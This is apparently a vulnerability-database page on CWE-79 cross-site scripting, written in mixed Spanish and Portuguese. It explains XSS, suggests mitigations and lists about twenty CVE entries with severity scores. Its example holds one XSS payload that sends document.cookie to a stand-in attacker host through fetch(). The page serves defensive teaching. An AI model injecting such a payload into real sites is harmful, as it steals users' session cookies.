Fallos del tipo CWE-79

28.833 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-4677MEDIUMCampcodes Complete Web-Based School Management System my_student_exam_marks1.php cross site scriptingEPSS 0.6%CVE-2024-4715MEDIUMCampcodes Complete Web-Based School Management System update_grade.php cross site scriptingEPSS 0.6%CVE-2024-4676MEDIUMCampcodes Complete Web-Based School Management System range_grade_text.php cross site scriptingEPSS 0.6%CVE-2024-4716MEDIUMCampcodes Complete Web-Based School Management System update_exam.php cross site scriptingEPSS 0.6%CVE-2024-4718MEDIUMCampcodes Complete Web-Based School Management System delete_student_grade_subject.php cross site scriptingEPSS 0.6%CVE-2024-11243MEDIUMcode-projects Online Shop Store signup.php cross site scriptingEPSS 0.6%CVE-2023-6646LOWlinkding cross site scriptingEPSS 0.6%CVE-2023-5566MEDIUMSimple Shortcodes <= 1.0.20 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.6%CVE-2024-22417MEDIUMWhoogle Search Cross-site Scripting vulnerabilityEPSS 0.6%CVE-2024-4713MEDIUMCampcodes Complete Web-Based School Management System all_teacher.php cross site scriptingEPSS 0.6%CVE-2021-1507MEDIUMCisco SD-WAN vManage API Stored Cross-Site Scripting VulnerabilityEPSS 0.6%CVE-2024-4675MEDIUMCampcodes Complete Web-Based School Management System show_events.php cross site scriptingEPSS 0.6%CVE-2024-4719MEDIUMCampcodes Complete Web-Based School Management System delete_record.php cross site scriptingEPSS 0.6%CVE-2026-8445CRITICALjusthtml before 1.12.0 Sanitizer Bypass via MarkdownEPSS 0.6%CVE-2024-4674MEDIUMCampcodes Complete Web-Based School Management System show_friend_request.php cross site scriptingEPSS 0.6%CVE-2022-0539MEDIUMCross-site Scripting (XSS) - Stored in ptrofimov/beanstalk_consoleEPSS 0.6%CVE-2026-32890CRITICALAnchorr: Stored XSS in User Mapping dropdown allows unprivileged Discord users to exfiltrate all secrets via /api/configEPSS 0.6%CVE-2024-4673MEDIUMCampcodes Complete Web-Based School Management System show_student_grade_subject.php cross site scriptingEPSS 0.6%CVE-2024-4722MEDIUMCampcodes Complete Web-Based School Management System index.php cross site scriptingEPSS 0.6%CVE-2024-4293LOWPHPGurukul Doctor Appointment Management System appointment-bwdates-reports-details.php cross site scriptingEPSS 0.6%